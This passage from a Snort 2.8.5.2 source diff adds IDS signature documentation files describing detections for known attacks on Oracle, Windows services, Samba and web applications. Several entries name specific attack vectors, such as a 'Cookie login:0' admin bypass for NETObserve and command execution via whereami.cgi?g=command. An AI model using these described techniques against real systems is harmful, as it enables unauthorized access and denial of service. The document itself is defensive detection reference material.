+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repobject
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3094.txt
+++ snort-2.8.5.2/doc/signatures/3094.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3094
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1354.txt
+++ snort-2.8.5.2/doc/signatures/1354.txt
@@ -0,0 +1,47 @@
+Rule:
+
+--
+Sid:
+1354
+
+--
+Summary:
+Attempted nasm command access via web. 
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a program source on a host. NASM is the Netwide Assembler which is capable of compiling a variety of sources on a variety of platforms into executable binary files. The attacker could possibly compile a program needed for other attacks on the system or install a binary program of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'nasm' in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. Whenever possible, sensitive files and certain areas of the filesystem should have the system immutable flag set to prevent files from being added to the host. On BSD derived systems, setting the systems runtime securelevel also prevents the securelevel from being changed. (note: the securelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1353
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000103.txt
+++ snort-2.8.5.2/doc/signatures/100000103.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+100000103
+
+-- 
+Summary: 
+This event is generated when an empty UDP packet is sent to port 7649, where 
+Breed game servers typically listen.
+
+-- 
+
+Impact: 
+Upon receiving such a packet, the server will crash, causing a denial of 
+service condition.
+
+--
+Detailed Information:
+Breed game servers will pass a NULL pointer upon receiving an empty UDP packet 
+on port 7649, causing an immediate crash. The server must be restarted for 
+service to resume.
+
+--
+Affected Systems:
+Brat Designs Breed 
+Brat Designs Breed Patch #1
+
+--
+
+Attack Scenarios: 
+A script that generates empty UDP packets can be used to perform this attack.
+
+-- 
+
+Ease of Attack: 
+Simple; public exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+No known patches or workarounds exist. System administrators may be able to 
+reject these packets at their firewall, depending upon the abilities of the 
+firewall system they use.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1878.txt
+++ snort-2.8.5.2/doc/signatures/1878.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1878
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2892.txt
+++ snort-2.8.5.2/doc/signatures/2892.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2892
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_nvarchar2
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2520.txt
+++ snort-2.8.5.2/doc/signatures/2520.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2520
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3395.txt
+++ snort-2.8.5.2/doc/signatures/3395.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3395
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2441.txt
+++ snort-2.8.5.2/doc/signatures/2441.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2441
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ExploreAnywhere Software's NETObserve.
+
+--
+Impact:
+Execution of commands or control of remote machines being managed by the
+software.
+
+--
+Detailed Information:
+NETObserve is a software solution that can be used to remotely monitor
+and control Windows based machines. It's interface is accessed via HTTP.
+
+By setting a cookie value, used to send login information to NETObserve,
+to 0 an attacker can bypass any checks on login credentials. This can
+present the attacker with administrative privileges to the NETObserve
+application which can be used to manage other remote client machines.
+
+--
+Affected Systems:
+	NETObserve
+
+--
+Attack Scenarios:
+An attacker can set 'Cookie login:0' in a web request to the
+administrative interface and gain administrator access to the
+application.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2137.txt
+++ snort-2.8.5.2/doc/signatures/2137.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2137
+
+--
+Summary:
+This event is generated when an attempt is made to access the administration page for the Philboard ASP application. 
+
+--
+Impact:
+Possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access the administration page for the Philboard Active Server Page (ASP) application.
+
+This rule generates an event if the attacker makes a request for the administration page from a source external to the protected network.
+
+
+--
+Affected Systems:
+Any host using Philboard.
+
+--
+Attack Scenarios:
+An attacker can gain administrator access to the application by making a simple web request if a specific cookie value is set to "True".
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+This event may be generated by an administrator accessing the administration page from an external source.
+
+The event will also be generated if Nessus is used to scan the host for this vulnerability.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Deny access to this page from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-4.txt
+++ snort-2.8.5.2/doc/signatures/119-4.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+119-4
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+Microsoft IIS servers are able to use non-ASCII characters as values
+when decoding UTF-8 values. This is non-standard behavior for a
+webserver and violates RFC recommendations. All non-ASCII values should
+be encoded with a %. This event may indicate an attack against a web
+server or at the least an attempt to evade an IDS.
+
+No web clients encode UTF-8 characters in this way. This is most likely
+a malicious request.
+
+--
+Affected Systems:
+	All Microsoft IIS servers
+
+--
+Attack Scenarios: 
+An attacker merely needs to encode a web request using this non-standard
+format.
+
+-- 
+
+Ease of Attack: 
+Simple. Many exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1527.txt
+++ snort-2.8.5.2/doc/signatures/1527.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+1527
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Basilix webmail PHP script.
+
+An attacker can access mysql.class file to obtain MySQL login and use it
+for further attacks.
+
+--
+Impact:
+Serious. Password disclosure which can lead to further system 
+compromise.
+
+authenticate directly to a mysql database. Many Sun Cobalt Linux servers use Basilix webmail
+
+--
+Detailed Information:
+A webserver usually sends files in the webroot to an anonymous user 
+without further processing. PHP scripts often include files (which 
+contain configuration variables, functions, etc.) that are stored 
+using a suffix that does not prevent a webserver sending them in clear 
+text. The ".class" suffix is not usually explicitly denied in a standard
+web server configuration and the file "mysql.class" may be sent to the 
+attacker.
+
+--
+Attack Scenarios:
+An attacker gets mysql.class containing database login credentials. The attacker can then connect to the database server using the login provided by mysql.class file and modify the database.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+File doesn't exist or mysql.class is for example a java class file publicly available on the server
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Update Basilix script (www.basilix.org)
+
+Check files which contain php code for a suffix that might be rendered in plaintext by the web server.
+
+Workaround - register .class the same way that the extensions .php, .php3 or.php4 are registered in the web server configuration file.
+Note: .class is usually used by java applets
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000698.txt
+++ snort-2.8.5.2/doc/signatures/100000698.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000698
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "BXCP" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "where" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "where" parameter in the "index.php" script used by the "BXCP" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BXCP
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/292.txt
+++ snort-2.8.5.2/doc/signatures/292.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid: 292
+
+--
+Summary:
+Versions of the file sharing software Samba 1.9.19 and prior contain a buffer overflow condition that can be exploited by supplying an overly long password to the Samba server.
+
+--
+Impact:
+System compromize presenting the attacker with the opportunity to
+gain remote access to the victim host or execute arbitrary code with the privileges of the user running the Samba server.
+
+--
+Detailed Information:
+Samba is used to share files and printers between hosts on a network. A buffer overflow in the handling of passwords exists such that an overly long password can trigger the vulnerability presenting the attacker with an opportunity to remotely compromise the server running the Samba software.
+
+Affected Systems:
+	Samba 1.9.19 and prior
+
+--
+Attack Scenarios:
+The attacker would need to supply an excessively long password.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest version of Samba.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0182
+
+Bugtraq:
+http://www.securityfocus.com/bid/1816
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2858.txt
+++ snort-2.8.5.2/doc/signatures/2858.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2858
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_delete_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1053.txt
+++ snort-2.8.5.2/doc/signatures/1053.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1053
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/279.txt
+++ snort-2.8.5.2/doc/signatures/279.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+279
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of 
+Service attack that causes Bay/Nortel Nautical Marlin bridges to crash.
+
+--
+Impact:
+Denial of Service. Network traffic can be disrupted.
+
+--
+Detailed Information:
+Nautica Marlin bridges will crash if a UDP packet is received on the 
+SNMP port (161) which has a data length of 0.
+
+--
+Affected Systems:
+	Bay/Nortel Nautica Marlin Bridges
+
+--
+Attack Scenarios:
+The bridges can be crashed remotely.  The offending packet uses UDP 
+(which is not connection oriented) and can be easily spoofed. 
+
+--
+Ease of Attack:
+Simple.  Tools are available that can exploit this vulnerability.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block connections to port 161 from unauthorized hosts using firewall or 
+router ACLs.  The release notes for the only available upgrade for this 
+product do not mention this vulnerability.  The product has been 
+discontinued.  
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2396.txt
+++ snort-2.8.5.2/doc/signatures/2396.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+2396
+
+--
+Summary:
+This event is generated when an attacker attempts to execute an arbitrary command on a web server running the CCBill software. 
+
+--
+Impact:
+Execution of arbitrary commands.
+
+--
+Detailed Information:
+The CCBill software is available to manage credit card information for UNIX and Windows hosts.  The script whereami.cgi is used for technical support of the software.  A vulnerability exists in the whereami.cgi script that allows the execution of arbitrary commands from an attacker who passes a command via whereami.cgi?g=command format in a URL.  Supplied commands can list file names, show the contents of the password file, or install a backdoor to name a few actions that an attacker may attempt.
+
+--
+Affected Systems:
+Hosts running CCBill software that has the whereami.cgi in the server's CGI path.
+
+--
+Attack Scenarios:
+An attacker can send a request to execute an arbitrary command.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the whereami.cgi command.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+bugtraq
+http://www.securityfocus.com/bid/8095
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1067.txt
+++ snort-2.8.5.2/doc/signatures/1067.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+1067
+
+--
+Summary:
+This event is generated when the NET command is used for message sending, remote null session connections etc.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+An attacker tried to access the "net" command on a host.
+
+The Windows "net" command is usually not accessible through a webserver, check for possible directory traversal attacks.
+
+Net cannot be used to gain full control of a host, but can establish null sessions on weakly protected Windows hosts for example or to gain information on the network the host is connected to.
+
+--
+Attack Scenarios:
+A web request for the command "net".
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A valid URL request containing the string "net.exe" can generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Protect "net.exe" from remote usage. Remove the file completly if it is 
+not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/685.txt
+++ snort-2.8.5.2/doc/signatures/685.txt
@@ -0,0 +1,80 @@
+Rule:  
+
+--
+Sid: 
+685
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+Affected Systems:
+	Microsoft SQL Servers
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft MSDN:
+http://msdn.microsoft.com/library/en-us/tsqlref/ts_sp_addp_0awi.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1606.txt
+++ snort-2.8.5.2/doc/signatures/1606.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1606
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000808.txt
+++ snort-2.8.5.2/doc/signatures/100000808.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000808
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "AjaxPortal" application running on a webserver. Access to the file "ajaxp.php" with SQL commands being passed as the "username" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "username" parameter in the "ajaxp.php" script used by the "AjaxPortal" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
